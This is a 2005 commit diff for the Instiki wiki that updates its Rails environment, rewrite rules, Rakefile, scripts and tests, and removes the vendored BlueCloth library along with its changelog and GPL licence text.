Bringing various things inline with the current state of Rails develolpment

This commit is contained in:
Alexey Verkhovsky 2005-03-25 19:11:41 +00:00
parent 0a63789e61
commit 8de7ca3cee
38 changed files with 204 additions and 5484 deletions

View file

@ -25,7 +25,7 @@ class WikiController < ApplicationController
if password_check(@params['password'])
redirect_show('HomePage')
else
redirect_to :action => 'login'
redirect_to :action => 'login', :web => @web_name
end
end

View file

@ -1,11 +1,10 @@
$: << File.dirname(__FILE__) + "../../libraries"
require 'redcloth'
require 'bluecloth'
require 'rdocsupport'
require 'chunks/chunk'
# The markup engines are Chunks that call the one of RedCloth, BlueCloth
# The markup engines are Chunks that call the one of RedCloth
# or RDoc to convert text. This markup occurs when the chunk is required
# to mask itself.
module Engines
@ -39,7 +38,7 @@ module Engines
class Markdown < AbstractEngine
def mask(content)
BlueCloth.new(text,content.options[:engine_opts]).to_html
RedCloth.new(text,content.options[:engine_opts]).to_html
end
end

View file

@ -11,44 +11,53 @@ RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/../') unless defined? R
RAILS_ENV = ENV['RAILS_ENV'] || 'production' unless defined? RAILS_ENV
unless defined? ADDITIONAL_LOAD_PATHS
# Mocks first.
# Mocks first.
ADDITIONAL_LOAD_PATHS = ["#{RAILS_ROOT}/test/mocks/#{RAILS_ENV}"]
# Then model subdirectories.
# Then model subdirectories.
ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/app/models/[_a-z]*"])
ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/components/[_a-z]*"])
# Followed by the standard includes.
# Followed by the standard includes.
ADDITIONAL_LOAD_PATHS.concat %w(
app
app/models
app/controllers
app/helpers
config
libraries
).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" }
# Third party vendors
ADDITIONAL_LOAD_PATHS.concat %w(
vendor/bluecloth-1.0.0/lib
app
app/models
app/controllers
app/helpers
app/apis
components
config
lib
vendor
vendor/rails/railties
vendor/rails/railties/lib
vendor/rails/actionpack/lib
vendor/rails/activesupport/lib
vendor/rails/activerecord/lib
vendor/rails/actionmailer/lib
vendor/rails/actionwebservice/lib
vendor/madeleine-0.7.1/lib
vendor/RedCloth-3.0.3/lib
vendor/rubyzip-0.5.6
vendor/actionpack/lib
vendor/activesupport/lib
vendor/railties/lib
).map { |dir|
"#{File.expand_path(File.join(RAILS_ROOT, dir))}"
).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}"
}.delete_if { |dir| not File.exist?(dir) }
# Prepend to $LOAD_PATH
# Prepend to $LOAD_PATH
ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) }
end
# Require Rails libraries.
require 'rubygems' unless File.directory?("#{RAILS_ROOT}/vendor/rails")
require 'active_support'
require 'action_controller'
require 'active_record_stub'
require 'instiki_errors'
require 'routes'
# Environment specific configuration
require_dependency "environments/#{RAILS_ENV}"
# Configure defaults if the included environment did not.
unless defined? RAILS_DEFAULT_LOGGER
RAILS_DEFAULT_LOGGER = Logger.new(STDERR)
ActionController::Base.logger ||= RAILS_DEFAULT_LOGGER
@ -61,15 +70,12 @@ unless defined? RAILS_DEFAULT_LOGGER
end
end
# Environment-specific configuration.
require "environments/#{RAILS_ENV}"
require 'wiki_service'
Socket.do_not_reverse_lookup = true
ActionController::Base.template_root ||= "#{RAILS_ROOT}/app/views/"
ActionController::Routing::Routes.reload
Controllers = Dependencies::LoadingModule.root(
File.expand_path(File.join(RAILS_ROOT, 'app', 'controllers')),
File.expand_path(File.join(RAILS_ROOT, 'components'))
File.join(RAILS_ROOT, 'app', 'controllers'),
File.join(RAILS_ROOT, 'components')
)
require 'wiki_service'
Socket.do_not_reverse_lookup = true

View file

@ -1,4 +1,5 @@
Dependencies.mechanism = :require
ActionController::Base.consider_all_requests_local = true
ActionController::Base.perform_caching = false
BREAKPOINT_SERVER_PORT = 42531
ActionController::Base.logger.level = Logger::DEBUG

View file

@ -1,2 +1,4 @@
Dependencies.mechanism = :require
ActionController::Base.consider_all_requests_local = false
ActionController::Base.perform_caching = false

View file

@ -1,5 +1,6 @@
Dependencies.mechanism = :require
ActionController::Base.consider_all_requests_local = true
ActionController::Base.perform_caching = false
require 'fileutils'
FileUtils.mkdir_p(RAILS_ROOT + "/log")

View file

@ -3,27 +3,23 @@ AddHandler fastcgi-script .fcgi
AddHandler cgi-script .cgi
Options +FollowSymLinks +ExecCGI
# Make sure that mod_ruby.c has been added and loaded as a module with Apache
# Redirect all requests not available on the filesystem to Rails
# By default the cgi dispatcher is used which is very slow
#
# For better performance replace the dispatcher with the fastcgi one
#
# Example:
# RewriteRule ^(.*)$ dispatch.fcgi [QSA,L]
RewriteEngine On
RewriteRule ^$ index.html [QSA]
RewriteRule ^([^.]+)$ $1.html [QSA]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ dispatch.cgi [QSA,L]
# Change extension from .cgi to .fcgi to switch to FCGI and to .rb to switch to mod_ruby
RewriteBase /dispatch.cgi
# In case Rails experiences terminal errors
# Instead of displaying this message you can supply a file here which will be rendered instead
#
# Example:
# ErrorDocument 500 /500.html
# Enable this rewrite rule to point to the controller/action that should serve root.
# RewriteRule ^$ /wiki/ [R]
# Add missing slash
RewriteRule ^([-_a-zA-Z0-9]+)$ /$1/ [R]
# Default rewriting rules.
RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([0-9]+)$ ?controller=$1&action=$2&id=$3 [QSA,L]
RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)$ ?controller=$1&action=$2 [QSA,L]
RewriteRule ^([-_a-zA-Z0-9]+)/$ ?controller=$1&action=index [QSA,L]
RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([0-9]+)$ ?module=$1&controller=$2&action=$3&id=$4 [QSA,L]
RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)$ ?module=$1&controller=$2&action=$3 [QSA,L]
RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/$ ?module=$1&controller=$2&action=index [QSA,L]
# You can also point these error messages to a controller/action
ErrorDocument 500 /500.html
ErrorDocument 404 /404.html
ErrorDocument 500 "<h2>Application error</h2>Rails application failed to start properly"

View file

@ -1,6 +1,6 @@
<html>
<body>
<h1>File not found</h1>
<p>HTTP 404</p>
<p>Change this error message for pages not found in public/404.html</p>
</body>
</html>
</html>

View file

@ -1,6 +1,6 @@
<html>
<body>
<h1>Application error</h1>
<p>HTTP 500</p>
<h1>Application error (Apache)</h1>
<p>Change this error message for exceptions thrown outside of an action (like in Dispatcher setups or broken Ruby code) in public/500.html</p>
</body>
</html>

View file

@ -1,11 +1,10 @@
#!/usr/bin/ruby
#!e:/ruby/bin/ruby
require File.dirname(__FILE__) + '/../config/environment' unless defined?(RAILS_ROOT)
require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT)
# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one,
# like: "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher"
# -- otherwise performance is severely impaired
require 'dispatcher'
# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like:
# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired
require "dispatcher"
ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) }
Dispatcher.dispatch
ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun)
Dispatcher.dispatch

View file

@ -1,3 +1,117 @@
require 'rake'
require 'rake/clean'
require 'rake/testtask'
require 'rake/rdoctask'
require 'rake/packagetask'
$VERBOSE = nil
TEST_CHANGES_SINCE = Time.now - 600
# Standard Rails tasks
desc 'Run all tests'
task :default => [:test_units, :test_functional]
desc 'Require application environment.'
task :environment do
unless defined? RAILS_ROOT
require File.dirname(__FILE__) + '/config/environment'
end
end
desc 'Generate API documentatio, show coding stats'
task :doc => [ :appdoc, :stats ]
# Look up tests for recently modified sources.
def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)
FileList[source_pattern].map do |path|
if File.mtime(path) > touched_since
test = "#{test_path}/#{File.basename(path, '.rb')}_test.rb"
test if File.exists?(test)
end
end.compact
end
desc 'Test recent changes.'
Rake::TestTask.new(:recent) do |t|
since = TEST_CHANGES_SINCE
touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
recent_tests('app/models/*.rb', 'test/unit', since) +
recent_tests('app/controllers/*.rb', 'test/functional', since)
t.libs << 'test'
t.verbose = true
t.test_files = touched.uniq
end
desc 'Run the unit tests in test/unit'
Rake::TestTask.new('test_units') { |t|
t.libs << 'test'
t.pattern = 'test/unit/**/*_test.rb'
t.verbose = true
}
desc 'Run the functional tests in test/functional'
Rake::TestTask.new('test_functional') { |t|
t.libs << 'test'
t.pattern = 'test/functional/**/*_test.rb'
t.verbose = true
}
desc 'Generate documentation for the application'
Rake::RDocTask.new('appdoc') { |rdoc|
rdoc.rdoc_dir = 'doc/app'
rdoc.title = 'Rails Application Documentation'
rdoc.options << '--line-numbers --inline-source'
rdoc.rdoc_files.include('doc/README_FOR_APP')
rdoc.rdoc_files.include('app/**/*.rb')
}
desc 'Generate documentation for the Rails framework'
Rake::RDocTask.new("apidoc") { |rdoc|
rdoc.rdoc_dir = 'doc/api'
rdoc.title = 'Rails Framework Documentation'
rdoc.options << '--line-numbers --inline-source'
rdoc.rdoc_files.include('README')
rdoc.rdoc_files.include('CHANGELOG')
rdoc.rdoc_files.include('vendor/rails/railties/CHANGELOG')
rdoc.rdoc_files.include('vendor/rails/railties/MIT-LICENSE')
rdoc.rdoc_files.include('vendor/rails/activerecord/README')
rdoc.rdoc_files.include('vendor/rails/activerecord/CHANGELOG')
rdoc.rdoc_files.include('vendor/rails/activerecord/lib/active_record/**/*.rb')
rdoc.rdoc_files.exclude('vendor/rails/activerecord/lib/active_record/vendor/*')
rdoc.rdoc_files.include('vendor/rails/actionpack/README')
rdoc.rdoc_files.include('vendor/rails/actionpack/CHANGELOG')
rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_controller/**/*.rb')
rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_view/**/*.rb')
rdoc.rdoc_files.include('vendor/rails/actionmailer/README')
rdoc.rdoc_files.include('vendor/rails/actionmailer/CHANGELOG')
rdoc.rdoc_files.include('vendor/rails/actionmailer/lib/action_mailer/base.rb')
rdoc.rdoc_files.include('vendor/rails/actionwebservice/README')
rdoc.rdoc_files.include('vendor/rails/actionwebservice/ChangeLog')
rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/**/*.rb')
rdoc.rdoc_files.include('vendor/rails/activesupport/README')
rdoc.rdoc_files.include('vendor/rails/activesupport/lib/active_support/**/*.rb')
}
desc 'Report code statistics (KLOCs, etc) from the application'
task :stats => [ :environment ] do
require 'code_statistics'
CodeStatistics.new(
['Helpers', 'app/helpers'],
['Controllers', 'app/controllers'],
['APIs', 'app/apis'],
['Components', 'components'],
['Functionals', 'test/functional'],
['Models', 'app/models'],
['Units', 'test/unit']
).to_s
end
# Additional tasks (not standard Rails)
CLEAN << 'pkg' << 'storage/2500' << 'doc' << 'html'
begin
require 'rubygems'
require 'rake/gempackagetask'
@ -5,34 +119,6 @@ rescue Exception
nil
end
ENV['RAILS_ENV'] = 'test'
require 'config/environment'
require 'rake'
require 'rake/clean'
require 'rake/testtask'
require 'rake/rdoctask'
require 'rake/packagetask'
require 'rake/contrib/rubyforgepublisher'
require 'code_statistics'
desc 'Default Task'
task :default => :test
CLEAN << 'pkg' << 'storage/2500' << 'doc' << 'html'
# Run the unit tests
Rake::TestTask.new { |t|
t.libs << 'libraries'
t.libs << 'app/models'
t.libs << 'vendor/bluecloth-1.0.0/lib'
t.libs << 'vendor/madeleine-0.7.1/lib'
t.libs << 'vendor/RedCloth-3.0.3/lib'
t.libs << 'vendor/rubyzip-0.5.6'
t.pattern = 'test/**/*_test.rb'
t.verbose = true
}
if defined? GemPackageTask
gemspec = eval(File.read('instiki.gemspec'))
Rake::GemPackageTask.new(gemspec) do |p|
@ -41,15 +127,15 @@ if defined? GemPackageTask
p.need_zip = true
end
# PKG_VERSION is defined in instiki.gemspec
Rake::PackageTask.new("instiki", gemspec.version) do |p|
# PKG_VERSION is defined in instiki.gemspec
Rake::PackageTask.new('instiki', gemspec.version) do |p|
p.need_tar = true
p.need_zip = true
# the list of glob expressions for files comes from instiki.gemspec
p.package_files.include($__instiki_source_patterns)
end
# Create a task to build the RDOC documentation tree.
# Create a task to build the RDOC documentation tree.
rd = Rake::RDocTask.new("rdoc") { |rdoc|
rdoc.rdoc_dir = 'html'
rdoc.title = 'Instiki -- The Wiki'
@ -58,23 +144,12 @@ if defined? GemPackageTask
rdoc.main = 'README'
}
else
puts "Warning: without Rubygems packaging tasks are not available"
puts 'Warning: without Rubygems packaging tasks are not available'
end
desc "Publish RDOC to RubyForge"
task :rubyforge => [:rdoc, :package] do
Rake::RubyForgePublisher.new('instiki', 'alexeyv').upload
end
desc "Report code statistics (KLOCs, etc)"
task :stats do
CodeStatistics.new(
["Helpers", "app/helpers"],
["Controllers", "app/controllers"],
["Functionals", "test/functional"],
["Models", "app/models"],
["Units", "test/unit"],
["Libraries", "libraries"]
).to_s
end
# Shorthand aliases
desc 'Shorthand for test_unit'
task :tu => :test_unit
desc 'Shorthand for test_functional'
task :tf => :test_functional

View file

@ -1,35 +1,4 @@
#!/usr/local/bin/ruby
RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/..')
# Model subdirectories.
ADDITIONAL_LOAD_PATHS = Dir["#{RAILS_ROOT}/app/models/[_a-z]*"]
# Followed by the standard includes.
ADDITIONAL_LOAD_PATHS.concat %w(
app
app/models
app/controllers
app/helpers
config
libraries
).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" }
ADDITIONAL_LOAD_PATHS.concat %w(
vendor/bluecloth-1.0.0/lib
vendor/madeleine-0.7.1/lib
vendor/RedCloth-3.0.3/lib
vendor/rubyzip-0.5.6
vendor/actionpack/lib
vendor/activesupport/lib
vendor/railties/lib
).map { |dir|
"#{File.expand_path(File.join(RAILS_ROOT, dir))}"
}.delete_if { |dir|
puts dir
not File.exist?(dir) }
# Prepend to $LOAD_PATH
ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) }
#!e:/ruby/bin/ruby
require 'rubygems'
require_gem 'rails'
require 'breakpoint_client'

View file

@ -28,7 +28,7 @@ ARGV.options do |opts|
'Default: 2500') { |OPTIONS[:port]| }
opts.on('-b', '--binding=ip', String,
'Binds Rails to the specified ip.',
'Default: 127.0.0.1') { |OPTIONS[:ip]| }
'Default: 0.0.0.0') { |OPTIONS[:ip]| }
opts.on('-e', '--environment=name', String,
'Specifies the environment to run this server under (test/development/production).',
'Default: production') { |OPTIONS[:environment]| }
@ -43,7 +43,7 @@ ARGV.options do |opts|
'Makes Instiki use the specified directory for storage.',
'Default: ./storage/[port]') { |OPTIONS[:storage]| }
opts.on('-v', '--verbose',
'Enable debug-level logging'
'Enables debug-level logging'
) { OPTIONS[:verbose] = true }
opts.separator ''
@ -73,7 +73,6 @@ else
puts "=> Data files are stored in #{storage_path}"
require 'webrick_server'
require 'application'
OPTIONS[:index_controller] = 'wiki'
ApplicationController.wiki = WikiService.instance

View file

@ -35,7 +35,7 @@ class WikiControllerTest < Test::Unit::TestCase
@web.password = 'pswd'
r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password')
assert_redirected_to :action => 'login'
assert_redirected_to :action => 'login', :web => 'wiki1'
assert_nil r.cookies['web_address']
end

View file

@ -1,5 +1,5 @@
ENV['RAILS_ENV'] ||= 'test'
require File.dirname(__FILE__) + '/../config/environment'
ENV['RAILS_ENV'] = 'test'
require File.expand_path(File.dirname(__FILE__) + '/../config/environment')
require 'application'
require 'test/unit'
require 'action_controller/test_process'
@ -56,23 +56,6 @@ class Test::Unit::TestCase
ApplicationController.wiki = nil
end
# Checks that a given URI path is recognized as expected options
# Delete it when patch #638 is commiteed to Rails (http://dev.rubyonrails.org/ticket/638)
def assert_recognizes(expected_options, path)
# Load routes.rb if it hasn't been loaded.
ActionController::Routing::Routes.reload if ActionController::Routing::Routes.empty?
# Assume given controller
request = ActionController::TestRequest.new({}, {}, nil)
request.path = path
ActionController::Routing::Routes.recognize!(request)
msg = build_message(nil, "The recognized options <?> did not match <?>",
request.path_parameters, expected_options)
assert_block(msg) { request.path_parameters == expected_options }
end
end
class WikiServiceWithNoPersistence

View file

@ -46,7 +46,7 @@ class RevisionTest < Test::Unit::TestCase
@revision.display_content
end
def test_bluecloth
def test_markdown
@web.markup = :markdown
assert_markup_parsed_as(
@ -220,6 +220,8 @@ class RevisionTest < Test::Unit::TestCase
end
def test_link_to_pic
FileUtils.mkdir_p "#{RAILS_ROOT}/storage/test/wiki1"
FileUtils.rm(Dir["#{RAILS_ROOT}/storage/test/wiki1/*"])
@wiki.file_yard(@web).upload_file('square.jpg', StringIO.new(''))
assert_markup_parsed_as(
'<p><img alt="Square" src="../pic/square.jpg" /></p>',

View file

@ -1,366 +0,0 @@
------------------------------------------------------------------------
r69 | ged | 2004-08-24 22:27:15 -0700 (Tue, 24 Aug 2004) | 2 lines
- Fixed bug introduced by the last bugfix, fixed tests that missed the new bug.
------------------------------------------------------------------------
r68 | ged | 2004-08-24 22:14:37 -0700 (Tue, 24 Aug 2004) | 3 lines
- Tracked down and fixed another regexp engine overflow bug; added a new test,
datafile, and minimal testcase that illustrates it.
------------------------------------------------------------------------
r66 | ged | 2004-08-24 07:57:17 -0700 (Tue, 24 Aug 2004) | 1 line
- Updated to v1.0.0.
------------------------------------------------------------------------
r65 | ged | 2004-08-24 07:56:47 -0700 (Tue, 24 Aug 2004) | 1 line
- Updated to v1.0.0.
------------------------------------------------------------------------
r64 | ged | 2004-08-24 07:53:32 -0700 (Tue, 24 Aug 2004) | 1 line
- Updated to 20040824.
------------------------------------------------------------------------
r63 | ged | 2004-08-24 07:52:05 -0700 (Tue, 24 Aug 2004) | 3 lines
- Added CHANGES.xml to ignore property for root directory.
------------------------------------------------------------------------
r62 | ged | 2004-08-24 07:48:44 -0700 (Tue, 24 Aug 2004) | 7 lines
- Brought list of block-level tags up to date with Markdown 1.0's list
- Propagated fix for overflow to the other two block-match patterns.
- Abstracted list-item patterns out into constants to closer match Markdown's
code and to expose them for use in other code.
- Fixed indentation of <pre> blocks inside blockquotes.
- Added new tests for all of the above.
------------------------------------------------------------------------
r61 | ged | 2004-08-22 12:28:23 -0700 (Sun, 22 Aug 2004) | 5 lines
- Fixed re-engine overflow for all tested cases (thanks to Martin Chase
<stillflame@FaerieMUD.org> for the fix).
- Wrote some additional tests to be sure the block-level html escaper is working
after the above fix.
------------------------------------------------------------------------
r60 | ged | 2004-08-22 12:26:25 -0700 (Sun, 22 Aug 2004) | 2 lines
- Removed skip of overflow test.
------------------------------------------------------------------------
r59 | ged | 2004-08-22 12:24:35 -0700 (Sun, 22 Aug 2004) | 2 lines
- "Fixed" the test case so it overflows again.
------------------------------------------------------------------------
r58 | deveiant | 2004-08-08 22:12:02 -0700 (Sun, 08 Aug 2004) | 2 lines
- Updated to 20040808.
------------------------------------------------------------------------
r57 | deveiant | 2004-08-08 18:16:14 -0700 (Sun, 08 Aug 2004) | 2 lines
- Modified to work from wherever the test is run (RPA compat).
------------------------------------------------------------------------
r56 | deveiant | 2004-08-08 18:15:57 -0700 (Sun, 08 Aug 2004) | 2 lines
- Modified to work from wherever the test is run (RPA compat).
------------------------------------------------------------------------
r55 | deveiant | 2004-08-08 18:15:27 -0700 (Sun, 08 Aug 2004) | 2 lines
- Updated version attribute.
------------------------------------------------------------------------
r54 | deveiant | 2004-08-08 18:14:58 -0700 (Sun, 08 Aug 2004) | 2 lines
- Brought markdown syntax up to date with Markdown 1.0fc1.
------------------------------------------------------------------------
r53 | deveiant | 2004-08-08 18:13:16 -0700 (Sun, 08 Aug 2004) | 2 lines
- Made the require-header work wherever the test is run from (RPA compat).
------------------------------------------------------------------------
r51 | deveiant | 2004-06-21 08:20:59 -0700 (Mon, 21 Jun 2004) | 4 lines
- Brought up to date with Markdown 1.0b7.
- Ignore list properties on the base and docs directories updated.
------------------------------------------------------------------------
r50 | deveiant | 2004-06-02 06:37:15 -0700 (Wed, 02 Jun 2004) | 1 line
- Commented out non-functional --output option for now.
------------------------------------------------------------------------
r49 | deveiant | 2004-06-01 20:30:18 -0700 (Tue, 01 Jun 2004) | 2 lines
Initial checkin.
------------------------------------------------------------------------
r48 | deveiant | 2004-06-01 20:29:31 -0700 (Tue, 01 Jun 2004) | 2 lines
- Added test for bug #574.
------------------------------------------------------------------------
r47 | deveiant | 2004-06-01 20:21:04 -0700 (Tue, 01 Jun 2004) | 8 lines
- Test for bug #620 - Unresolved reference-style links doubled the character
immediately after them.
- Added additional test email addresses, including ones that use extended latin
charset.
- Added bug reference to a test.
------------------------------------------------------------------------
r46 | deveiant | 2004-06-01 20:19:41 -0700 (Tue, 01 Jun 2004) | 4 lines
- Fix for bug #620 - Unresolved reference-style links doubled the character
immediately after them.
------------------------------------------------------------------------
r45 | deveiant | 2004-05-13 19:43:17 -0700 (Thu, 13 May 2004) | 4 lines
- Added tests for bug #568 (Two sets of bold text on one line doesn't render
properly). Tests confirmed that two sets of bold text did work, but single
characters being bolded does not.
------------------------------------------------------------------------
r44 | deveiant | 2004-05-13 19:41:52 -0700 (Thu, 13 May 2004) | 2 lines
- Fixed bug with bolding of single characters (bug #568).
------------------------------------------------------------------------
r43 | deveiant | 2004-05-04 07:35:11 -0700 (Tue, 04 May 2004) | 2 lines
- Additional fixes and tests for bug #537.
------------------------------------------------------------------------
r41 | deveiant | 2004-04-29 20:40:38 -0700 (Thu, 29 Apr 2004) | 2 lines
- Added bin/ directory.
------------------------------------------------------------------------
r40 | deveiant | 2004-04-29 20:40:04 -0700 (Thu, 29 Apr 2004) | 2 lines
- Set date.
------------------------------------------------------------------------
r39 | deveiant | 2004-04-29 20:39:24 -0700 (Thu, 29 Apr 2004) | 3 lines
- Added test for Bug #543 (Safe mode does not work when there are no left
angle-brackets in the source).
------------------------------------------------------------------------
r38 | deveiant | 2004-04-29 20:38:42 -0700 (Thu, 29 Apr 2004) | 5 lines
- Added test for email address encoding (Bug #537).
- Added test for bug #541 (Leading line of codeblock with more than one tab
width of indent mistakenly unindented).
------------------------------------------------------------------------
r37 | deveiant | 2004-04-29 20:35:26 -0700 (Thu, 29 Apr 2004) | 5 lines
- Fix for bug #543 (Safe mode does not work when there are no left
angle-brackets in the source).
------------------------------------------------------------------------
r36 | deveiant | 2004-04-29 20:33:01 -0700 (Thu, 29 Apr 2004) | 5 lines
- Fix for bug #541 (Leading line of codeblock with more than one tab
width of indent mistakenly unindented)
------------------------------------------------------------------------
r35 | deveiant | 2004-04-29 20:31:37 -0700 (Thu, 29 Apr 2004) | 3 lines
- Fix for bug #537. Fix suggested by Marek Janukowicz.
------------------------------------------------------------------------
r32 | deveiant | 2004-04-22 21:47:42 -0700 (Thu, 22 Apr 2004) | 2 lines
- Temporary fixes until I have time to integrate SVN stuff.
------------------------------------------------------------------------
r31 | deveiant | 2004-04-22 21:46:51 -0700 (Thu, 22 Apr 2004) | 2 lines
- Version bump.
------------------------------------------------------------------------
r30 | deveiant | 2004-04-22 21:46:15 -0700 (Thu, 22 Apr 2004) | 2 lines
- Brought in line with most-recent release.
------------------------------------------------------------------------
r29 | deveiant | 2004-04-22 21:40:50 -0700 (Thu, 22 Apr 2004) | 2 lines
- Version bump.
------------------------------------------------------------------------
r28 | deveiant | 2004-04-22 21:39:05 -0700 (Thu, 22 Apr 2004) | 4 lines
- Bugfixes for bugs 524 and 525. Thanks to David Heinemeier Hansson and Javier
Goizueta for bug reports and fixes.
------------------------------------------------------------------------
r27 | deveiant | 2004-04-22 21:34:31 -0700 (Thu, 22 Apr 2004) | 2 lines
- Test for bugs 524 and 525
------------------------------------------------------------------------
r25 | deveiant | 2004-04-15 18:55:19 -0700 (Thu, 15 Apr 2004) | 1 line
- Corrected version
------------------------------------------------------------------------
r24 | deveiant | 2004-04-15 18:53:52 -0700 (Thu, 15 Apr 2004) | 2 lines
- Brought Version up to date.
------------------------------------------------------------------------
r23 | deveiant | 2004-04-15 18:52:17 -0700 (Thu, 15 Apr 2004) | 1 line
- Updated ignore metadata.
------------------------------------------------------------------------
r22 | deveiant | 2004-04-15 18:51:14 -0700 (Thu, 15 Apr 2004) | 2 lines
Initial checkin.
------------------------------------------------------------------------
r21 | deveiant | 2004-04-15 18:50:31 -0700 (Thu, 15 Apr 2004) | 6 lines
- Changed tests/ pattern to catch all tests.
- Added CHANGES.
- Dropped MANIFEST.
------------------------------------------------------------------------
r20 | deveiant | 2004-04-15 18:49:46 -0700 (Thu, 15 Apr 2004) | 2 lines
- Added missing dependency check for devel-logger.
------------------------------------------------------------------------
r19 | deveiant | 2004-04-15 18:49:12 -0700 (Thu, 15 Apr 2004) | 8 lines
- Added contributors section to the header.
- Integrated html- and style-filtering patch from Florian Gross <flgr@ccan.de>.
- Corrections to RedCloth-compatibility.
- Removed log from renderstate, as it's an attribute of the string itself.
------------------------------------------------------------------------
r18 | deveiant | 2004-04-15 18:48:27 -0700 (Thu, 15 Apr 2004) | 8 lines
- Added contributors section to the header.
- Integrated html- and style-filtering patch from Florian Gross <flgr@ccan.de>.
- Corrections to RedCloth-compatibility.
- Removed log from renderstate, as it's an attribute of the string itself.
------------------------------------------------------------------------
r15 | deveiant | 2004-04-11 23:02:54 -0700 (Sun, 11 Apr 2004) | 3 lines
- Added keywords.
------------------------------------------------------------------------
r14 | deveiant | 2004-04-11 23:01:40 -0700 (Sun, 11 Apr 2004) | 2 lines
- Updated comments/added to-do marker.
------------------------------------------------------------------------
r13 | deveiant | 2004-04-11 22:47:16 -0700 (Sun, 11 Apr 2004) | 3 lines
- Updated ignore list.
------------------------------------------------------------------------
r12 | deveiant | 2004-04-11 22:46:49 -0700 (Sun, 11 Apr 2004) | 3 lines
Initial checkin.
------------------------------------------------------------------------
r11 | deveiant | 2004-04-11 22:45:07 -0700 (Sun, 11 Apr 2004) | 3 lines
- Added a time() function for timing bits of code.
------------------------------------------------------------------------
r10 | deveiant | 2004-04-11 22:43:10 -0700 (Sun, 11 Apr 2004) | 3 lines
- Changed keyword constants from CVS to SVN keywords.
------------------------------------------------------------------------
r9 | deveiant | 2004-04-11 22:29:37 -0700 (Sun, 11 Apr 2004) | 3 lines
- Changed location of keyword stuff, added URL keyword.
------------------------------------------------------------------------
r8 | deveiant | 2004-04-11 22:26:38 -0700 (Sun, 11 Apr 2004) | 3 lines
- Added the rest of the content.
------------------------------------------------------------------------
r7 | deveiant | 2004-04-11 22:21:47 -0700 (Sun, 11 Apr 2004) | 12 lines
- Fixed license in header
- Fixed error message in exception class with no second argument.
- Removed unnecessary (and slllooowww) 'm' flag from HTML block matching
patterns.
- Fixed code-span scanning to match spans that occur at the beginning of the
line.
- Fixed error in code-span exception case.
------------------------------------------------------------------------
r6 | deveiant | 2004-04-11 22:17:45 -0700 (Sun, 11 Apr 2004) | 3 lines
- Renamed to reflect repurposing.
------------------------------------------------------------------------
r5 | deveiant | 2004-04-11 22:17:08 -0700 (Sun, 11 Apr 2004) | 2 lines
- Converted to bug-testing testcase.
------------------------------------------------------------------------
r4 | deveiant | 2004-04-11 22:15:34 -0700 (Sun, 11 Apr 2004) | 2 lines
- Added some mode code span tests to catch bugs.
------------------------------------------------------------------------
r3 | deveiant | 2004-04-10 21:40:29 -0700 (Sat, 10 Apr 2004) | 2 lines
- Updated dist/install utilities/libs.
------------------------------------------------------------------------
r2 | deveiant | 2004-04-10 13:36:46 -0700 (Sat, 10 Apr 2004) | 1 line
Removed markdown reference source
------------------------------------------------------------------------
r1 | deveiant | 2004-04-10 13:35:02 -0700 (Sat, 10 Apr 2004) | 1 line
Initial checkin

View file

@ -1,340 +0,0 @@
 GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
